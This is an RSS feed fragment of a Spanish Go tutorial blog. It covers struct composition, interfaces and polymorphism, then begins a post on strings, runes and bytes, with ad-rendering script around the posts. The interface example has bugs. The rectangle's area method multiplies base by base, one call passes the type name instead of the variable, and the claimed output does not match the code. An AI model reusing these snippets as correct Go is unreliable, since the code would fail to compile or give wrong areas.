2017}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;herencia-en-structs-en-golang&#34;&gt;Herencia en structs en Golang&lt;/h2&gt;&#xA;&lt;p&gt;Go &lt;strong&gt;no cuenta con una palabra para declarar herencia en los structs&lt;/strong&gt;, sin embargo sí tiene algo parecido. Para que un struct en go posea todos los campos que declara otro struct, le pasamos este último como un campo anónimo.&lt;/p&gt;&#xA;&lt;h3 id=&#34;extender-un-struct-en-golang&#34;&gt;Extender un struct en Golang&lt;/h3&gt;&#xA;&lt;p&gt;Si quieres extender un struct, puedes agregar los structs que desees como parte del struct. Sin embargo considera que Go no tiene herencia, sino composición.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt; Person &lt;span style=&#34;color:#ff5c57&#34;&gt;struct&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Name &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Lastname &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt; Professor &lt;span style=&#34;color:#ff5c57&#34;&gt;struct&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Person&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;go-no-tiene-herencia-sino-composicion&#34;&gt;Go no tiene herencia, sino composición&lt;/h3&gt;&#xA;&lt;p&gt;Go sigue la máxima de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/composicion-sobre-herencia-en-poo-explicada-con-legos/&#34;&gt;&lt;em&gt;composición sobre herencia o composition over inheritance (en inglés)&lt;/em&gt;&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Por lo que cuando tu agregues el nuevo struct, no estarás realizando herencia, sino que estarás agregando un nuevo struct al struct original. Por lo que para acceder a los campos de este, primero necesitas acceder al struct que agregaste.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-Go&#34; data-lang=&#34;Go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Professor.Person.Name&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;polimorfismo-usando-interfaces-en-go&#34;&gt;Polimorfismo usando interfaces en go&lt;/h2&gt;&#xA;&lt;p&gt;Puedes pensar en una interfaz como una especie de &amp;ldquo;plano&amp;rdquo; o &amp;ldquo;blueprint&amp;rdquo; que le dice a un objeto que funciones debe implementar para funcionar, cada objeto puede implementar esas funciones como quiera, pero debe implementarlas forzosamente.&lt;/p&gt;&#xA;&lt;p&gt;Por ejemplo: Piensa en una abstracción que representa en piezas de rompecabezas, necesitamos una pieza de rompecabezas que tenga dos apendices, que guarden un ángulo de 45° entre ellos, no nos interesa el resto de lados de la pieza de rompecabezas, solo que contenga esas dos características, mientras tenga estas dos características cumplirá la interfaz, la forma del resto de la pieza nos es indiferente.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1764437886/interface-requirements_wtubxg.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1764437886/interface-requirements_wtubxg.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Explicación del concepto de interfaz en programación&#34; width=&#34;960&#34; height=&#34;960&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Mientras el ente pueda respirar, satisface la interfaz.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;para-que-sirve-una-interfaz-en-go&#34;&gt;¿Para que sirve una interfaz en Go?&lt;/h3&gt;&#xA;&lt;p&gt;Basándonos en lo anterior, en Go las interfaces son un método para diferenciar el comportamiento de diferentes objetos. Una interfaz se encargará de llamar al método que le especificamos correspondiente a su tipo de struct.&lt;/p&gt;&#xA;&lt;p&gt;Mira como la interfaz declara que el type &lt;em&gt;figuras4Lados&lt;/em&gt; tiene un método llamada &lt;em&gt;area&lt;/em&gt; que devuelve un resultado de tipo &lt;em&gt;float64&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt; figuras4Lados &lt;span style=&#34;color:#ff5c57&#34;&gt;interface&lt;/span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#57c7ff&#34;&gt;area&lt;/span&gt;() &lt;span style=&#34;color:#9aedfe&#34;&gt;float64&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;A continuación declaramos un método llamado &lt;em&gt;area&lt;/em&gt; diferente tanto para el struct &lt;em&gt;cuadrado&lt;/em&gt; como para el struct &lt;em&gt;rectangulo&lt;/em&gt;, igual que hicimos en la sección &amp;ldquo;Composición y structs&amp;rdquo; de esta misma entrada.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt; rectangulo &lt;span style=&#34;color:#ff5c57&#34;&gt;struct&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    base &lt;span style=&#34;color:#9aedfe&#34;&gt;float64&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    altura &lt;span style=&#34;color:#9aedfe&#34;&gt;float64&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt; cuadrado &lt;span style=&#34;color:#ff5c57&#34;&gt;struct&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    base &lt;span style=&#34;color:#9aedfe&#34;&gt;float64&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    altura &lt;span style=&#34;color:#9aedfe&#34;&gt;float64&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; (c cuadrado) &lt;span style=&#34;color:#57c7ff&#34;&gt;area&lt;/span&gt;() &lt;span style=&#34;color:#9aedfe&#34;&gt;float64&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; c.base &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt; c.base &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; (r rectangulo) &lt;span style=&#34;color:#57c7ff&#34;&gt;area&lt;/span&gt;() &lt;span style=&#34;color:#9aedfe&#34;&gt;float64&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; r.base &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt; r.base &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora crearemos una función que recibirá como argumento cualquier type &lt;em&gt;figura4Lados&lt;/em&gt;, y ejecutará su respectivo método &lt;em&gt;area.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;para-que-sirve-una-interfaz-en-go-1&#34;&gt;¿Para que sirve una interfaz en Go?&lt;/h3&gt;&#xA;&lt;p&gt;Aquí hay que poner enfasis especial, observa como el argumento que le pasemos a la función es la interfaz que creamos, &lt;strong&gt;no nos interesa que tipo de &lt;em&gt;struct&lt;/em&gt; estamos pasándole como argumento, lo único que nos interesa es que este argumento satisfaga a la interfaz.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;De nuevo. &lt;strong&gt;No nos importa cómo esté construido el struct, el único requisito para que funcione en nuestra función es que DEBE satisfacer la interfaz.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;En este caso la interfaz es &lt;em&gt;figura4Lados&lt;/em&gt;, y por ende debemos asegurarnos que lo que sea que le pasemos tenga un método llamado &lt;em&gt;area&lt;/em&gt; que retorne un &lt;em&gt;float64&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Cuando utilizamos interfaces podemos garantizar que el código funciona a un nivel superior, y podemos dejar los detalles del funcionamiento a bajo nivel a su respectivo objeto, podemos sustituir la implementación de la interfaz siempre que satisfaga las características que define la interfaz.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt; figuras4Lados &lt;span style=&#34;color:#ff5c57&#34;&gt;interface&lt;/span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#57c7ff&#34;&gt;area&lt;/span&gt;() &lt;span style=&#34;color:#9aedfe&#34;&gt;float64&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;calcular&lt;/span&gt; (f figuras4Lados) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Area&amp;#34;&lt;/span&gt;, f.&lt;span style=&#34;color:#57c7ff&#34;&gt;area&lt;/span&gt;())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Para llamar al método respectivo solo llamamos la función pasándole una instancia del struct como argumento.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;miCuadrado &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; cuadrado{base: &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;calcular&lt;/span&gt;(cuadrado)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;miRectangulo &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; rectangulo{base:&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;, altura: &lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;calcular&lt;/span&gt;(miRectangulo)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Area 4&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Area 8&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Seguramente si vienes de otros lenguajes te parecerá bastante caprichosa la sintaxis de Go, pero estoy seguro de que la estarás dominando en muy poco tiempo, si yo lo hice para ti será pan comido.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Como ya te mencioné en la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-lenguaje-de-programacion-introduccion-a-variables-y-tipos-de-datos/&#34;&gt;introducción al lenguaje de programación Golang o Go&lt;/a&gt;&#xA;, este lenguaje no tiene una palabra reservada para tratar con clases, sino que usa structs para emular características como herencia, polimorfismo, encapsulación y otras propiedades de las clases que probablemente hayas usado en otros lenguajes de programación.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/es/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    ¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel&lt;/a&gt;&#xA;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Go: strings, runes y bytes</title>
      <link>https://coffeebytes.dev/es/go/go-strings-runes-y-bytes/</link>
      <pubDate>Tue, 28 Dec 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/go/go-strings-runes-y-bytes/</guid>
      
      <category>go</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;En esta entrada voy a explicar lo básico del funcionamiento de strings, runes y bytes en go, y hasta un poquito de utf-8.&lt;/p&gt;&#xA;&lt;p&gt;Para explicar el tema voy a dar por hecho que sabes lo básico de slices y tipos de datos en go, si no sabes sobre estos temas visita mi entrada de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-slices-y-arrays/&#34;&gt;array, slices en golang&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/es/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    ¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;¿Te suena el nombre de Brian W. Kernighan? ¿Sí? Es el autor de &#39;El libro del lenguaje de programación C&#39;. ¿Sabías que también escribió este libro sobre el lenguaje de programación Go? Si te gustó su estilo, probablemente también disfrutes este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Lenguaje de programación Go\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103953/go-programming-language-book_vp91jl.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41nJIXH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio del Lenguaje de Programación Go en Amazon\&#34;,\&#34;title\&#34;:\&#34;Dónde aprender Go\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;un-poquito-sobre-convenciones&#34;&gt;Un poquito sobre convenciones&lt;/h2&gt;&#xA;&lt;p&gt;Como seguramente ya sabes, las computadoras solo almacenan números. Las letras que ves en pantalla son una representación de esos números.&lt;/p&gt;&#xA;&lt;p&gt;Entonces, ¿cómo sabe la computadora que número corresponde a cada letra? Pues un montón de personas se reunieron y acordaron asignarle un número a cada carácter. Por supuesto que esos acuerdos no son universales y hay múltiples variantes sobre que números corresponden a cada letra, entre ellas ASCII, UTF-8, UTF-16, UTF-32 y otras menos comunes. Es decir, un número puede representar el carácter &amp;ldquo;人&amp;rdquo; en una convención, pero a lo mejor representa otro en otra convención, por detrás son solo números.&lt;/p&gt;&#xA;&lt;p&gt;Este tema es bastante extenso y ya hay suficiente información en internet, por lo que solo quédate con que detrás de cada carácter hay un número que la representa y que ese carácter depende de la tabla que usemos para representarlo.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/golang-runes-strings-and-bytes-explained/images/ASCII-Table-wide.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/golang-runes-strings-and-bytes-explained/images/ASCII-Table-wide.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Tabla ASCII&#34; width=&#34;875&#34; height=&#34;582&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Tabla ASCII con colores modificados tomada de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://commons.wikimedia.org/wiki/File:ASCII-Table-wide.svg&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;wikimedia&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Sabiendo lo anterior, vayamos al tipo de dato byte.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 